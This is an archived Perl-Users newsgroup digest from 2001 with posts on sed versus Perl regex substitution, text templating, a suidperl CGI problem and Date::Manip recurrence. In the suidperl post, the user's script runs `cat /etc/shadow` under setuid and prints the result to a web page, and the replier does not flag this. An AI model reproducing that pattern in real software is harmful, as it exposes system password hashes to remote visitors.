> I've written a script that pipes the output from a Unix command,
>and attempts to rearrange the fields before storing the output. I've
>captured the performance right here:
>
> [] cat Hmm
> #!/usr/bin/perl
>
> $Jqz = `echo "abcdef" | sed "s/cd//" | sed "s/\(..\)\(..\)/\2\1/"`;
$Jqz1 = `echo "abcdef" | sed 's/cd//' | sed 's/\\(..\\)\\(..\\)/\\2\\1/'`;
$Jqz2 = "abcdef"; $Jqz2 =~ s/cd//; $Jqz2 =~ s/(..)(..)/$2$1/;
There is no need to use sed for its s/// operator. Note that perl uses
a different syntax for parentheses in regular expressions.
-Joe
--
See http://www.inwap.com/ for PDP-10 and "ReBoot" pages.
------------------------------
Date: Sat, 03 Feb 2001 23:04:50 GMT
From: "Jeff Schell" <jeffschell@home.com>
Subject: Substituting variables in a text file
Message-Id: <m80f6.369921$U46.10921884@news1.sttls1.wa.home.com>
Here's the problem: I'd like to substitute words in a text file with their
counterpart variable in a perl script. (That was horribly phrased, but maybe
this will help explain...)
Example: the text file might look like this: Hello $NAME. How are you?
And let's say, for simplicity sake, that my perl file has a line like this:
$NAME = "Joe";
Of course, I have like 50 variables. Before I had to create "placeholders"
for the names like:
open (FILE, "filename.txt");
$printtemp = join ('',<FILE>);
close (FILE);
$printtemp =~ s#<!-- NAME -->#$NAME#sg;
But I really don't want to do that for ALL of them. Unfortunately, that's
all I know how to do.
Anybody have an easier way to open up a file and replace the exact variables
without having to create variable placeholders and substitute them one at a
time like I did in the above example?
-Jeff
------------------------------
Date: Sun, 04 Feb 2001 01:50:40 +0800
From: Beggar <cpegbeggar@mail.com>
Subject: suidperl problem
Message-Id: <3A7C44F0.50FC4CE6@mail.com>
Hi all,
I am writing a program to do some tasks that need root
permission.
Here is the program, 123.pl
=======================================
#!/usr/bin/suidperl -w
$ENV{'PATH'}="/usr/bin:/usr/sbin:/bin:/sbin";
print "content-type: text/html\n\n";
$temp1=`cat /etc/shadow`;
$temp2=`/bin/ps`;
`nohup "start_my_server_program"`
print "$temp1,$temp2"
=========================================
Q1: Why when I run the perl with "perl 123.pl", it always show:
Insecure $ENV{BASH_ENV} while running setuid at ./123.pl line 7.
Q2: The problem in Q1 does not happy in using as CGI call from web.
But I can only got the output from "$temp1", no output from
"$temp2".
Why can't I use "ps" in this script.
Q3. When I run my program with "nohup", it seems that it can't run at
all, why ? I can start my server program in command mode with nohup.
quite a long question, but it stuck me for a 3 days to play with it.
Any help would be very appreciated~
Thanks in advance !
Please cc a mail to cpegbeggar@mail.com
Hei
------------------------------
Date: 03 Feb 2001 18:06:40 +0000
From: nobull@mail.com
To: cpegbeggar@mail.com
Subject: Re: suidperl problem
Message-Id: <u9r91fd4jz.fsf@wcl-l.bham.ac.uk>
Beggar <cpegbeggar@mail.com> writes:
> #!/usr/bin/suidperl -w
> $ENV{'PATH'}="/usr/bin:/usr/sbin:/bin:/sbin";
>
> print "content-type: text/html\n\n";
>
> $temp1=`cat /etc/shadow`;
> $temp2=`/bin/ps`;
>
> `nohup "start_my_server_program"`
>
> print "$temp1,$temp2"
> =========================================
> Q1: Why when I run the perl with "perl 123.pl", it always show:
> Insecure $ENV{BASH_ENV} while running setuid at ./123.pl line 7.
See the entry for the error message "Insecure $ENV{%s} while running
%s" in perldiag.
> Q2: The problem in Q1 does not happy in using as CGI call from web.
Probably because the web server didn't define BASH_ENV in the CGI
script's environment.
> But I can only got the output from "$temp1", no output from
> "$temp2".
> Why can't I use "ps" in this script.
Dunno.
> Q3. When I run my program with "nohup", it seems that it can't run at
> all, why ?
There's little point using nohup when the program is already running
without a controlling terminal.
BTW: don't use backticks in a void context. For reason see FAQ
"What's wrong with using backticks in a void context?"
It would probably be enlightening to take a look in the HTTP server's
error log.
> Please cc a mail to cpegbeggar@mail.com
Please post only to newsgroups you read.
Please use Mail-copies-to: header rarther than asking us to do it manually.
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: Sat, 03 Feb 2001 19:00:30 GMT
From: Skip Montanaro <skip@mojam.com>
Subject: Using Date::Manip to compute Fat Tuesday
Message-Id: <95hkgb$fm3$1@nnrp1.deja.com>
I'm trying to calculate Fat Tuesday (47 days before Easter) in the
current year using Date::Manip's ParseRecur function, but I'm having a
little trouble deciphering the recurrence rules in the Date::Manip
documentation. Through a process of trial and error I figured out that
the following call yields Fat Tuesday for 2001:
ParseRecur("*2001:0:0:0:0:0:0*EASTER,BD47")
I want to replace "2001" with something that means "this year" so that I
won't need to update it every year.
Any suggestions much appreciated,
--
Skip Montanaro | http://www.mojam.com/
skip@mojam.com | http://www.musi-cal.com/
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 207
**************************************